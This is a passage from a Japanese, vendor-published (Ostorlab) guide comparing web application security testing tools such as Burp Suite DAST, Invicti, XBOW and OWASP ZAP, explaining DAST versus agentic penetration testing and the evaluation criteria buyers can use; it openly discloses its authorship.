DAST&lt;/strong&gt;、&lt;strong&gt;Invicti&lt;/strong&gt;、&lt;strong&gt;Rapid7 InsightAppSec&lt;/strong&gt;、&lt;strong&gt;HCL AppScan&lt;/strong&gt;、&lt;strong&gt;XBOW&lt;/strong&gt;、&lt;strong&gt;OWASP ZAP&lt;/strong&gt;です。&lt;/p&gt;
&lt;p&gt;これらのツールの最大の違いは、実行中のアプリケーションをどのようにテストするかにあります。従来の動的アプリケーションセキュリティテスト（DAST）は、アプリケーションを繰り返しクロールし、定義済みのセキュリティチェックを適用します。エージェント型ペネトレーションテストは、自律型エージェントを使ってアプリケーションの挙動を観察し、次のアクションを選択し、ワークフローを探索し、複数の連続したステップを必要とする可能性のある脆弱性を検証します。&lt;/p&gt;
&lt;h2 id="結論:最適なwebアプリケーションセキュリティテストツールはどれか"&gt;結論：最適なWebアプリケーションセキュリティテストツールはどれか&lt;/h2&gt;
&lt;p&gt;最適なツールは、テストの目的によって異なります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Ostorlab&lt;/strong&gt;は、従来型のWebスキャンとエージェント型ペネトレーションテストを一つのプラットフォームで実施したい組織に適しています。Webアプリケーション、API、ソースコード、モバイルアプリケーション、ネットワークアセット、補足ファイルにまたがる調査にも対応します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Burp Suite DAST&lt;/strong&gt;は、Burp Scannerをベースにした一元管理型のエンタープライズDASTを求め、開発ツールとの連携やセルフホスト型のデプロイオプションを必要とする組織に適しています。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Invicti&lt;/strong&gt;は、自動化されたDASTと、対応する脆弱性クラスに対する実証ベースの検証を重視するチームに適しています。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rapid7 InsightAppSec&lt;/strong&gt;は、Rapid7プラットフォーム全体を利用しており、プライベートスキャンエンジンに対応したクラウド管理型のDASTを必要とする組織に適しています。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HCL AppScan&lt;/strong&gt;は、より幅広いアプリケーションセキュリティ製品ファミリーの中でDASTを求めるエンタープライズに適しています。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;XBOW&lt;/strong&gt;は、エージェント主導による自律的なWebアプリケーションのペネトレーションテストを重視する組織に適しています。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OWASP ZAP&lt;/strong&gt;は、オープンソースで自己管理型のWebセキュリティテストツールキットを求める経験豊富なチームに適しています。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;レビューした公開資料の中で、&lt;strong&gt;Ostorlabは、反復可能なWebアプリケーションスキャンと、Web Deep Agentic ScanおよびMulti-Asset Deep Agentic Scanの機能を組み合わせている点で際立っています&lt;/strong&gt;。これにより、チームは同じプラットフォーム内で、広範な自動テストを実行しつつ、アプリケーションロジック、接続されたアセット、複数ステップの攻撃経路を調査できます。&lt;/p&gt;
&lt;h3 id="編集上の開示"&gt;編集上の開示&lt;/h3&gt;
&lt;p&gt;本ガイドはOstorlabが公開しています。この比較は一般に公開されているベンダー自身のドキュメントに基づいており、脆弱性のカバレッジ、検出精度、スキャン速度、誤検知（フォールスポジティブ）率に関する独立したベンチマークではありません。&lt;/p&gt;
&lt;h2 id="調査方法"&gt;調査方法&lt;/h2&gt;
&lt;p&gt;この比較では、以下の基準で各ツールを評価しています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;テストモデル：従来型DAST、エージェント型ペネトレーションテスト、またはその両方の組み合わせ&lt;/li&gt;
&lt;li&gt;アプリケーションへの到達可能性：クロール、JavaScriptの実行、認証、セッション処理&lt;/li&gt;
&lt;li&gt;APIカバレッジ：仕様、検出されたエンドポイント、API認証への対応&lt;/li&gt;
&lt;li&gt;検証のエビデンス：リクエスト、レスポンス、ペイロード、実行トレース、実証された影響&lt;/li&gt;
&lt;li&gt;ワークフローの調査：認可、アプリケーションの状態、複数ステップのロジックをテストする能力&lt;/li&gt;
&lt;li&gt;デプロイ：クラウド、プライベートスキャン、セルフホスト、またはユーザー管理&lt;/li&gt;
&lt;li&gt;開発との連携：CI/CD、チケット管理、API、修復ワークフロー&lt;/li&gt;
&lt;li&gt;再テスト：個々の修正の確認と、再発する脆弱性の検出への対応&lt;/li&gt;
&lt;li&gt;安全制御：スコープ制限、保護対象URL、レート制御、アクティビティ記録&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;現時点のベンダー自身による情報が確認に十分でない場合、その機能は「公開文書に記載なし」と表記しています。これは、その機能が存在しないことを証明するものではありません。&lt;/p&gt;
&lt;h2 id="webアプリケーションセキュリティテストツールの比較"&gt;Webアプリケーションセキュリティテストツールの比較&lt;/h2&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;プラットフォーム&lt;/th&gt;
&lt;th style="text-align: left;"&gt;運用モデル&lt;/th&gt;
&lt;th style="text-align: left;"&gt;最適な用途&lt;/th&gt;
&lt;th style="text-align: left;"&gt;購入者が確認すべき点&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Ostorlab&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;DASTとエージェント型ペネトレーションテスト&lt;/td&gt;
&lt;td style="text-align: left;"&gt;反復可能なスキャン、適応型のワークフロー調査、実行時の検証、接続された複数アセットのテストを必要とするチーム&lt;/td&gt;
&lt;td style="text-align: left;"&gt;認証のカバレッジ、エージェント型スキャンのスコープ、AIクレジットの使用量、スキャンの上限、アクティブテストの制御&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Burp Suite DAST&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;エンタープライズDAST&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Burp Scannerを使った一元的なWebおよびAPIスキャン&lt;/td&gt;
&lt;td style="text-align: left;"&gt;複雑なワークフローのカバレッジ、APIの取り込み、スキャン容量、デプロイ、DASTとBurp Suite Professionalの境界&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Invicti&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;自動検証機能を備えたエンタープライズDAST&lt;/td&gt;
&lt;td style="text-align: left;"&gt;自動クロールと実証に裏付けられた検出結果を重視するチーム&lt;/td&gt;
&lt;td style="text-align: left;"&gt;どの脆弱性クラスで実証が得られるか、認証の深さ、APIカバレッジ、製品ティアごとの違い&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Rapid7 InsightAppSec&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;クラウド管理型DAST&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Rapid7製品を利用しており、クラウドまたはプライベートのスキャンエンジンを必要とする組織&lt;/td&gt;
&lt;td style="text-align: left;"&gt;認証の信頼性、モダンなフロントエンドのカバレッジ、APIの制限、プライベートエンジン、パッケージ構成&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;HCL AppScan&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;AppSecスイートの一部としてのDAST&lt;/td&gt;
&lt;td style="text-align: left;"&gt;一つの製品ファミリー内で複数のアプリケーションセキュリティ手法を求めるエンタープライズ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;AppScanエディション間の違い、スキャン基盤、API対応、ライセンス&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;XBOW&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;自律型のエージェント型ペネトレーションテスト&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Webアプリケーションに対する適応型でエージェント主導の調査を重視するチーム&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応するターゲット、認証要件、評価のカバレッジ、保護対象のアクション、再テスト&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;OWASP ZAP&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;オープンソースのDASTツールキット&lt;/td&gt;
&lt;td style="text-align: left;"&gt;独自のテストシステムをデプロイ、設定、拡張、運用する専門知識を持つチーム&lt;/td&gt;
&lt;td style="text-align: left;"&gt;認証の設定、スケーリング、ルールの保守、レポーティング、トリアージ、社内の運用負荷&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="webアプリケーションセキュリティテストとは"&gt;Webアプリケーションセキュリティテストとは&lt;/h2&gt;
&lt;p&gt;Webアプリケーションセキュリティテストは、実行中のWebサイト、アプリケーション、またはAPIを評価し、不正アクセス、データの露出、アカウントの侵害、意図しない操作につながりうる弱点を特定します。&lt;/p&gt;
&lt;p&gt;テストでは次のような項目を調べます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SQLインジェクション&lt;/li&gt;
&lt;li&gt;クロスサイトスクリプティング&lt;/li&gt;
&lt;li&gt;サーバーサイドリクエストフォージェリ&lt;/li&gt;
&lt;li&gt;パストラバーサル&lt;/li&gt;
&lt;li&gt;コマンドインジェクション&lt;/li&gt;
&lt;li&gt;安全でないファイル処理&lt;/li&gt;
&lt;li&gt;認証の弱点&lt;/li&gt;
&lt;li&gt;セッション管理の不備&lt;/li&gt;
&lt;li&gt;アクセス制御の脆弱性&lt;/li&gt;
&lt;li&gt;露出したシークレット&lt;/li&gt;
&lt;li&gt;セキュリティの設定ミス&lt;/li&gt;
&lt;li&gt;脆弱なAPI操作&lt;/li&gt;
&lt;li&gt;ワークフローとビジネスロジックの欠陥&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;テスト手法によって、アプリケーションの観察対象となる部分は異なります。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;テスト手法&lt;/th&gt;
&lt;th style="text-align: left;"&gt;主な入力&lt;/th&gt;
&lt;th style="text-align: left;"&gt;視点&lt;/th&gt;
&lt;th style="text-align: left;"&gt;主な目的&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;DAST&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;実行中のアプリケーションまたはAPI&lt;/td&gt;
&lt;td style="text-align: left;"&gt;外部から内部へ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;到達可能なアプリケーション機能全体に反復可能なチェックを適用する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;エージェント型ペネトレーションテスト&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;実行中のアプリケーション、認証コンテキスト、指示&lt;/td&gt;
&lt;td style="text-align: left;"&gt;適応型の外部から内部へ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ワークフローを調査し、仮説を検証し、複数ステップの攻撃経路を検証する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;SAST&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ソースコード&lt;/td&gt;
&lt;td style="text-align: left;"&gt;コードベースの内部&lt;/td&gt;
&lt;td style="text-align: left;"&gt;開発中に安全でない実装パターンを特定する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;SCA&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;依存関係とビルド成果物&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ソフトウェアサプライチェーン&lt;/td&gt;
&lt;td style="text-align: left;"&gt;脆弱またはリスクのあるサードパーティコンポーネントを特定する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;IAST&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;計装された実行中のアプリケーション&lt;/td&gt;
&lt;td style="text-align: left;"&gt;内部と外部の両方から同時に&lt;/td&gt;
&lt;td style="text-align: left;"&gt;外部からのリクエストと実行時のコード実行を結び付ける&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;手動ペネトレーションテスト&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;承認された技術的スコープ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;アナリスト主導&lt;/td&gt;
&lt;td style="text-align: left;"&gt;アプリケーション固有のロジック、認可、アーキテクチャを調査する&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;これらの手法は互いに補完し合います。静的解析は、安全でない実装を特定できても、それが到達可能であることまでは証明できない場合があります。動的テストは、脆弱な挙動を明らかにできても、その原因となったソースコード上の正確なパスまでは特定できない場合があります。&lt;/p&gt;
&lt;h2 id="dastとは"&gt;DASTとは&lt;/h2&gt;
&lt;p&gt;動的アプリケーションセキュリティテストは、リクエストを送信してそのレスポンスを分析することで、実行中のアプリケーションを評価します。&lt;/p&gt;
&lt;p&gt;DASTスキャナーは一般に、次のことを行います。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;ページ、フォーム、パラメーター、エンドポイントを検出する。&lt;/li&gt;
&lt;li&gt;到達可能なアプリケーション機能のモデルを構築する。&lt;/li&gt;
&lt;li&gt;定義済みの脆弱性クラスに対してペイロードを送信する。&lt;/li&gt;
&lt;li&gt;レスポンスの内容、タイミング、状態の変化、外部コールバックを観察する。&lt;/li&gt;
&lt;li&gt;疑いのある検出結果または検証済みの検出結果を報告する。&lt;/li&gt;
&lt;li&gt;結果を開発および修復のワークフローに送る。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;DASTは、ソースコードへのアクセスを必要とせずに、デプロイ済みの大規模なアプリケーションポートフォリオを繰り返しテストするのに役立ちます。&lt;/p&gt;
&lt;p&gt;主な制約は到達可能性です。スキャナーが認証できない、セッションを維持できない、シングルページアプリケーションを操作できない、有効なAPIリクエストを構築できない、または保護されたワークフローに到達できない場合、該当する機能はテストできません。&lt;/p&gt;
&lt;p&gt;したがって、DASTのカバレッジは、スキャンが完了したかどうかだけでなく、スキャナーが何に到達し、何を実際に検査したかで評価すべきです。&lt;/p&gt;
&lt;h2 id="エージェント型ペネトレーションテストとは"&gt;エージェント型ペネトレーションテストとは&lt;/h2&gt;
&lt;p&gt;エージェント型ペネトレーションテストは、自律型エージェントを使い、観察、判断、アクション、検証という継続的なサイクルを通じてアプリケーションを調査します。&lt;/p&gt;
&lt;p&gt;あらかじめ決められた一連のチェックに従うだけでなく、エージェント型のシステムはアプリケーションのレスポンスを使って、次に何を調査するかを判断できます。&lt;/p&gt;
&lt;p&gt;たとえば、エージェントは次のように動作します。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;2つのユーザーロールを特定する。&lt;/li&gt;
&lt;li&gt;それらのロールが同じリソースにどのようにアクセスするかを比較する。&lt;/li&gt;
&lt;li&gt;認可の不整合の可能性を検出する。&lt;/li&gt;
&lt;li&gt;該当するリクエストを改変して再送信する。&lt;/li&gt;
&lt;li&gt;保護されたデータにアクセスできるようになるかを確認する。&lt;/li&gt;
&lt;li&gt;結果を裏付けるエビデンスを保存する。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;エージェント型テストは、次の目的に利用できます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;アプリケーションのワークフローを操作する&lt;/li&gt;
&lt;li&gt;レスポンスを文脈に沿って解釈する&lt;/li&gt;
&lt;li&gt;脆弱性の仮説を立て、修正する&lt;/li&gt;
&lt;li&gt;ユーザー間で権限を比較する&lt;/li&gt;
&lt;li&gt;データと信頼の関係をたどる&lt;/li&gt;
&lt;li&gt;ビジネスロジックの弱点を調査する&lt;/li&gt;
&lt;li&gt;複数の弱点を連鎖させて攻撃経路を構成する&lt;/li&gt;
&lt;li&gt;セキュリティ上の影響を示す実行時のエビデンスを生成する&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;AIを活用したセキュリティスキャナーがすべてエージェント型ペネトレーションテストを実施するわけではありません。AIは代わりに、検出結果の要約、修復ガイダンスの生成、スキャンの設定、アラートの優先順位付けに使われている場合もあります。&lt;/p&gt;
&lt;p&gt;エージェント型システムを評価する購入者は、その実行エビデンスを精査すべきです。つまり、エージェントが何を観察し、どのアクションを選択し、どのリクエストを送信し、どのレスポンスを受け取り、そのレスポンスが最終的な結論をどのように裏付けているかです。&lt;/p&gt;
&lt;h2 id="dastとエージェント型ペンテストの比較"&gt;DASTとエージェント型ペンテストの比較&lt;/h2&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;評価の観点&lt;/th&gt;
&lt;th style="text-align: left;"&gt;従来型DAST&lt;/th&gt;
&lt;th style="text-align: left;"&gt;エージェント型ペネトレーションテスト&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;主な目的&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;確立された脆弱性クラス全体にわたる反復可能な検出&lt;/td&gt;
&lt;td style="text-align: left;"&gt;アプリケーション固有の攻撃経路に対する適応型の調査&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;テストの挙動&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;クロールし、設定されたチェックを適用し、レスポンスを分析する&lt;/td&gt;
&lt;td style="text-align: left;"&gt;結果を観察し、次のアクションを選択し、調査を続ける&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;カバレッジモデル&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;到達可能な機能全体にわたって広範かつ体系的&lt;/td&gt;
&lt;td style="text-align: left;"&gt;より深いが、選択したワークフロー間で均一でない可能性がある&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;アプリケーションロジック&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;一般に定義済みのチェックとナビゲーションに制約される&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応している範囲で、文脈に依存する複数ステップの挙動を調査できる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;規模&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;アプリケーションポートフォリオ全体の定期的なテスト向けに設計&lt;/td&gt;
&lt;td style="text-align: left;"&gt;選択したアプリケーションのより深い評価によく使われる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;エビデンス&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;リクエスト、レスポンス、ペイロード、対応するチェックの実証&lt;/td&gt;
&lt;td style="text-align: left;"&gt;連続したアクション、実行履歴、実行時の実証、攻撃経路のコンテキスト&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;再現性&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;設定とアプリケーションの状態が安定していれば高い&lt;/td&gt;
&lt;td style="text-align: left;"&gt;エージェントの制御、タスク定義、ターゲットの挙動、記録されたエビデンスに依存する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;CI/CDへの適合性&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;定期スキャンとリリースゲートに強い&lt;/td&gt;
&lt;td style="text-align: left;"&gt;定期的な詳細評価と対象を絞った検証に有用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;人間の役割&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;設定、認証、トリアージ、修復&lt;/td&gt;
&lt;td style="text-align: left;"&gt;スコープの定義、ガードレール、エビデンスのレビュー、カバレッジの評価&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;主な制約&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;到達できない機能やアプリケーション固有のロジックを見落とす可能性がある&lt;/td&gt;
&lt;td style="text-align: left;"&gt;すべてのエンドポイントや脆弱性クラスを均一に検査できない可能性がある&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;DASTとエージェント型ペネトレーションテストを、常に二者択一として扱うべきではありません。&lt;/p&gt;
&lt;p&gt;DASTは、広範なアプリケーションポートフォリオ全体に反復可能なテストのベースラインを提供します。エージェント型テストは、脆弱性を立証するためにロール、状態、ワークフローの意図、または接続されたシステムの理解が必要な場面で、より深い調査を加えます。&lt;/p&gt;
&lt;h2 id="組織は何を評価すべきか"&gt;組織は何を評価すべきか&lt;/h2&gt;
&lt;h3 id="到達可能性と認証済み領域のカバレッジ"&gt;到達可能性と認証済み領域のカバレッジ&lt;/h3&gt;
&lt;p&gt;スキャナーは、到達できない機能をテストできません。&lt;/p&gt;
&lt;p&gt;価値検証（proof of value）には、次の項目を含めるべきです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;サーバーサイドでレンダリングされるページ&lt;/li&gt;
&lt;li&gt;シングルページアプリケーション&lt;/li&gt;
&lt;li&gt;動的に生成されるルート&lt;/li&gt;
&lt;li&gt;ファイルアップロードとフォーム&lt;/li&gt;
&lt;li&gt;RESTおよびGraphQL API&lt;/li&gt;
&lt;li&gt;WebSocketのやり取り&lt;/li&gt;
&lt;li&gt;複数のユーザーロール&lt;/li&gt;
&lt;li&gt;セッションの更新と有効期限切れ&lt;/li&gt;
&lt;li&gt;シングルサインオンまたは複数ステップのログイン&lt;/li&gt;
&lt;li&gt;ロールで制限された機能&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;スキャン開始時にログインに成功したからといって、評価の間ずっとセッションが有効だったことの証明にはなりません。&lt;/p&gt;
&lt;h3 id="apiテスト"&gt;APIテスト&lt;/h3&gt;
&lt;p&gt;組織は、プラットフォームが次のことを実行できるかを確認すべきです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;OpenAPI、Swagger、WSDL、Postman、またはGraphQLの情報をインポートする&lt;/li&gt;
&lt;li&gt;アプリケーションのトラフィックからAPIを検出する&lt;/li&gt;
&lt;li&gt;有効なリクエストボディを生成する&lt;/li&gt;
&lt;li&gt;認証とアプリケーションの状態を維持する&lt;/li&gt;
&lt;li&gt;API操作間の依存関係を理解する&lt;/li&gt;
&lt;li&gt;異なるユーザー間で認可をテストする&lt;/li&gt;
&lt;li&gt;レート制限と非同期処理に対応する&lt;/li&gt;
&lt;li&gt;APIの検出結果を該当するアプリケーションのワークフローに結び付ける&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;フロントエンドをテストしても、バックエンドのすべてのAPI操作が検出または評価されたことは保証されません。&lt;/p&gt;
&lt;h3 id="エビデンスと検証"&gt;エビデンスと検証&lt;/h3&gt;
&lt;p&gt;有用なセキュリティ上の検出結果は、他の人が理解し再現できるだけの情報を提供すべきです。&lt;/p&gt;
&lt;p&gt;エビデンスには次のものが含まれます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;影響を受けるURLまたはエンドポイント&lt;/li&gt;
&lt;li&gt;該当するリクエストとレスポンス&lt;/li&gt;
&lt;li&gt;送信されたペイロード&lt;/li&gt;
&lt;li&gt;認証済みのアカウントまたはロール&lt;/li&gt;
&lt;li&gt;抽出または改変されたデータ&lt;/li&gt;
&lt;li&gt;外部コールバックのエビデンス&lt;/li&gt;
&lt;li&gt;再現可能な一連のアクション&lt;/li&gt;
&lt;li&gt;比較対照または陰性対照&lt;/li&gt;
&lt;li&gt;実証されたセキュリティ上の影響&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;組織は、問題の可能性、検出された弱点、安全に検証された脆弱性、完全なエクスプロイトの実証を区別すべきです。&lt;/p&gt;
&lt;h3 id="ビジネスロジックのテスト"&gt;ビジネスロジックのテスト&lt;/h3&gt;
&lt;p&gt;ビジネスロジックの脆弱性は、特定のアプリケーションの中でアクションが何を意味するかに依存します。&lt;/p&gt;
&lt;p&gt;例は次のとおりです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;他の顧客のリソースへのアクセス&lt;/li&gt;
&lt;li&gt;承認ステップの回避&lt;/li&gt;
&lt;li&gt;一度限りの操作の再利用&lt;/li&gt;
&lt;li&gt;権限のない割引の適用&lt;/li&gt;
&lt;li&gt;ステップ間での取引金額の改ざん&lt;/li&gt;
&lt;li&gt;低い権限のアカウントによる管理操作の実行&lt;/li&gt;
&lt;li&gt;複数のエンドポイントを組み合わせた保護データの露出&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ビジネスロジックのカバレッジをうたう製品は、アプリケーションの状態をどのように追跡し、ロールを比較し、意図されたセキュリティ境界を特定し、その境界が侵害されうることをどのように実証するかを示すべきです。&lt;/p&gt;
&lt;h3 id="安全制御とスコープ制御"&gt;安全制御とスコープ制御&lt;/h3&gt;
&lt;p&gt;自動化されたセキュリティテストは、アプリケーションの状態を変更する可能性があります。&lt;/p&gt;
&lt;p&gt;本番環境でのテストには、次のものが必要になる場合があります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ターゲットに対する明示的な承認&lt;/li&gt;
&lt;li&gt;ドメインとパスの制限&lt;/li&gt;
&lt;li&gt;保護対象URL&lt;/li&gt;
&lt;li&gt;リクエストレートの制限&lt;/li&gt;
&lt;li&gt;スキャン禁止期間&lt;/li&gt;
&lt;li&gt;分離されたテストアカウント&lt;/li&gt;
&lt;li&gt;データ取り扱いの制限&lt;/li&gt;
&lt;li&gt;アクションまたは実行回数の上限&lt;/li&gt;
&lt;li&gt;緊急停止の制御&lt;/li&gt;
&lt;li&gt;完全なアクティビティログ&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;次のアクションが動的に選択されることがあるため、これらの制御はエージェント型システムで特に重要です。&lt;/p&gt;
&lt;h3 id="修復と修正の検証"&gt;修復と修正の検証&lt;/h3&gt;
&lt;p&gt;プラットフォームは次の機能に対応すべきです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;検出結果の担当者割り当て&lt;/li&gt;
&lt;li&gt;開発者がすぐに使えるエビデンス&lt;/li&gt;
&lt;li&gt;チケット管理との連携&lt;/li&gt;
&lt;li&gt;重複および再発する検出結果の管理&lt;/li&gt;
&lt;li&gt;修復ガイダンス&lt;/li&gt;
&lt;li&gt;個々の脆弱性の再テスト&lt;/li&gt;
&lt;li&gt;修正後の挙動がもはや悪用可能でないことの確認&lt;/li&gt;
&lt;li&gt;脆弱性が再発した際の検出結果の再オープン&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="webアプリケーションセキュリティテストの機能マトリクス"&gt;Webアプリケーションセキュリティテストの機能マトリクス&lt;/h2&gt;
&lt;p&gt;以下の用語は控えめに使用しています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;対応&lt;/strong&gt;：現行のベンダー自身のドキュメントに記載されている&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;統合&lt;/strong&gt;：別の製品、モジュール、またはエディションを通じて提供される&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;制限あり&lt;/strong&gt;：公開ドキュメントに重要な制約が記載されている&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;公開文書に記載なし&lt;/strong&gt;：十分な現行情報が見つからなかった&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コミュニティ管理&lt;/strong&gt;：デプロイと運用の責任は組織側にある&lt;/li&gt;
&lt;/ul&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;機能&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Ostorlab&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Burp Suite DAST&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Invicti&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Rapid7 InsightAppSec&lt;/th&gt;
&lt;th style="text-align: left;"&gt;HCL AppScan&lt;/th&gt;
&lt;th style="text-align: left;"&gt;XBOW&lt;/th&gt;
&lt;th style="text-align: left;"&gt;OWASP ZAP&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;自動化されたWeb DAST&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
